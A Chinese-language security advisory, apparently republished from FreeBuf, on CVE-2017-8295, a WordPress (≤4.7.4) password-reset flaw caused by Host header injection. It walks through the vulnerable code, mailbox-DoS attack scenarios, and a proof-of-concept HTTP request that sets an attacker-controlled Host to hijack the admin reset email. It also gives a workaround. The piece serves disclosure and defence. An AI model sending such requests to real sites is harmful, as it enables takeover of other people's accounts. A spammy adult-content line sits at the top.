自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

WordPress曝未經(jīng)授權(quán)的密碼重置漏洞(CVE-2017-8295 )

安全 漏洞
WordPress的重置密碼功能存在漏洞,在某些情況下不需要使用之前的身份令牌驗(yàn)證獲取密碼重置鏈接。
  • 漏洞提交者:Dawid Golunski
  • 漏洞編號(hào):CVE-2017-8295
  • 發(fā)布日期:2017-05-03
  • 修訂版本:1.0
  • 漏洞危害:中/高

[[190461]]

一、漏洞

WordPress內(nèi)核<= 4.7.4存在未經(jīng)授權(quán)的密碼重置(0day)

二、背景

WordPress是一個(gè)以PHP和MySQL為平臺(tái)的自由開源的博客軟件和內(nèi)容管理系統(tǒng)。截止2017年2月,Alexa排名前1000萬的站點(diǎn)中約有27.5%使用該管理系統(tǒng)。據(jù)報(bào)道有超過6000萬站點(diǎn)使用WordPress進(jìn)行站點(diǎn)管理或者作為博客系統(tǒng)。

三、介紹

WordPress的重置密碼功能存在漏洞,在某些情況下不需要使用之前的身份令牌驗(yàn)證獲取密碼重置鏈接。

該攻擊可導(dǎo)致攻擊者在未經(jīng)授權(quán)的情況下獲取用戶Wordpress后臺(tái)管理權(quán)限。

四、描述

該漏洞源于WordPress默認(rèn)使用不可信的數(shù)據(jù)。當(dāng)生成一個(gè)密碼重置郵件時(shí)應(yīng)當(dāng)是僅發(fā)送給與帳戶相關(guān)聯(lián)的電子郵件。

從下面的代碼片段可以看出,在調(diào)用PHP mail()函數(shù)前創(chuàng)建了一個(gè)From email頭

  1. ------[ wp-includes/pluggable.php ]------ 
  2.  
  3. ... 
  4.  
  5. if ( !isset( $from_email ) ) { 
  6.         // Get the site domain and get rid of www. 
  7.         $sitename = strtolower( $_SERVER['SERVER_NAME'] ); 
  8.         if ( substr( $sitename, 0, 4 ) == 'www.' ) { 
  9.                 $sitename = substr( $sitename, 4 ); 
  10.         } 
  11.  
  12.         $from_email = 'wordpress@' . $sitename; 
  13.  
  14. ... 
  15.  
  16. ----------------------------------------- 

正如我們所看到的,Wordpress為了生成重置郵件創(chuàng)建的一個(gè)From/Return-Path(發(fā)件人/收件人)頭,使用SERVER_NAME變量以獲取服務(wù)器的主機(jī)名。

然而,諸如Apache的主流web服務(wù)器默認(rèn)使用由客戶端提供的主機(jī)名來設(shè)置SERVER_NAME變量(參考Apache文檔)

由于SERVER_NAME可以進(jìn)行修改,攻擊者可以任意設(shè)置該值,例如attackers-mxserver.com

這將導(dǎo)致Wordpress的$from_email變?yōu)閣ordpress@attackers-mxserver.com,最終導(dǎo)致包含F(xiàn)rom/Return-Path(發(fā)件人/收件人)設(shè)置的密碼重置郵件發(fā)送到了該惡意郵件地址。

至于攻擊者可以修改哪那一封電子郵件的頭信息,這取決于服務(wù)器環(huán)境(參考PHP文檔)

基于郵件服務(wù)器的配置,可能導(dǎo)致被修改過郵件頭的惡意收件人/發(fā)件人地址的電子郵件發(fā)送給WordPress用戶。

這使得攻擊者能夠在不需要進(jìn)行交互就可以截取本該是需要進(jìn)行交互才能進(jìn)行的操作的密碼重置郵件。

攻擊場景:

如果攻擊者知道用戶的電子郵件地址。為了讓密碼重置郵件被服務(wù)器拒收,或者無法到達(dá)目標(biāo)地址。他們可以先對用戶的電子郵件帳戶進(jìn)行DoS攻擊(通過發(fā)送多個(gè)超過用戶磁盤配額的大文件郵件或攻擊該DNS服務(wù)器)

某些自動(dòng)回復(fù)可能會(huì)附加有郵件發(fā)送副本

發(fā)送多封密碼重置郵件給用戶,迫使用戶對這些沒完沒了的密碼重置郵件進(jìn)行回復(fù),回復(fù)中就包含的密碼鏈接會(huì)發(fā)送給攻擊者。

五、POC

如果攻擊者將類似下面的請求發(fā)送到默認(rèn)可通過IP地址訪問的Wordpress安裝頁面(IP-based vhost):

  1. -----[ HTTP Request ]---- 
  2.  
  3. POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 
  4. Host: injected-attackers-mxserver.com 
  5. Content-Type: application/x-www-form-urlencoded 
  6. Content-Length: 56 
  7.  
  8. user_login=admin&redirect_to=&wp-submit=Get+New+Password 
  9.  
  10. ------------------------ 

WordPress將觸發(fā)管理員賬戶的密碼重置功能

由于修改了主機(jī)頭,SERVER_NAME變量將被設(shè)置為攻擊者所選擇的主機(jī)名,因此Wordpress會(huì)將以下電子郵件頭信息和正文傳遞給/usr/bin/sendmail

  1. ------[ resulting e-mail ]----- 
  2.  
  3. Subject: [CompanyX WP] Password Reset 
  4. Return-Path: <wordpress@attackers-mxserver.com> 
  5. From: WordPress <wordpress@attackers-mxserver.com> 
  6. Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> 
  7. X-Priority: 3 
  8. MIME-Version: 1.0 
  9. Content-Type: text/plain; charset=UTF-8 
  10. Content-Transfer-Encoding: 8bit 

有人請求將以下賬戶的密碼進(jìn)行重置:

  1. http://companyX-wp/wp/wordpress/ 
  2. Username: admin 

如果是弄錯(cuò)了,直接忽略該郵件就好。重置密碼請?jiān)L問以下地址:

  1. http://companyx-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin%3E 

正如我們看到的,Return-Path, From, 以及Message-ID字段都是攻擊者控制的域

通過bash腳本替換/usr/sbin/sendmail以執(zhí)行頭的驗(yàn)證:

  1. #!/bin/bash 
  2. cat > /tmp/outgoing-email 

六、業(yè)務(wù)影響

在利用成功的基礎(chǔ)上,攻擊者可重置用戶密碼并且未經(jīng)授權(quán)獲取WordPress賬戶訪問權(quán)限。

七、系統(tǒng)影響

WordPress至最新版本4.7.4全部受影響

八、解決方案

目前沒有官方解決方案可用。作為臨時(shí)解決方案,用戶可以啟用UseCanonicalName執(zhí)行SERVER_NAME靜態(tài)值(參考Apache)

九、參考文獻(xiàn)

  • https://legalhackers.com
  • https://ExploitBox.io
  • Vendor site:
  • https://wordpress.org
  • http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
  • http://php.net/manual/en/function.mail.php
  • https://tools.ietf.org/html/rfc5321
責(zé)任編輯:趙寧寧 來源: FreeBuf
相關(guān)推薦

2023-12-08 13:18:27

2017-12-07 09:01:40

2019-10-24 10:14:30

2013-12-26 13:35:39

2023-07-29 11:15:47

2023-04-04 22:20:53

2013-11-26 09:45:36

2015-03-13 19:22:03

2017-02-17 08:14:27

2017-05-25 22:20:05

2017-09-21 09:22:16

gitssh漏洞

2017-06-12 15:50:16

2015-03-13 09:20:57

2025-03-06 16:38:19

2020-10-23 11:13:39

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2019-07-17 16:03:16

AndroidAPP漏洞

2023-05-08 19:28:11

2015-05-08 12:17:53

2022-02-14 07:54:27

漏洞WordPress

2017-05-27 10:22:37

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)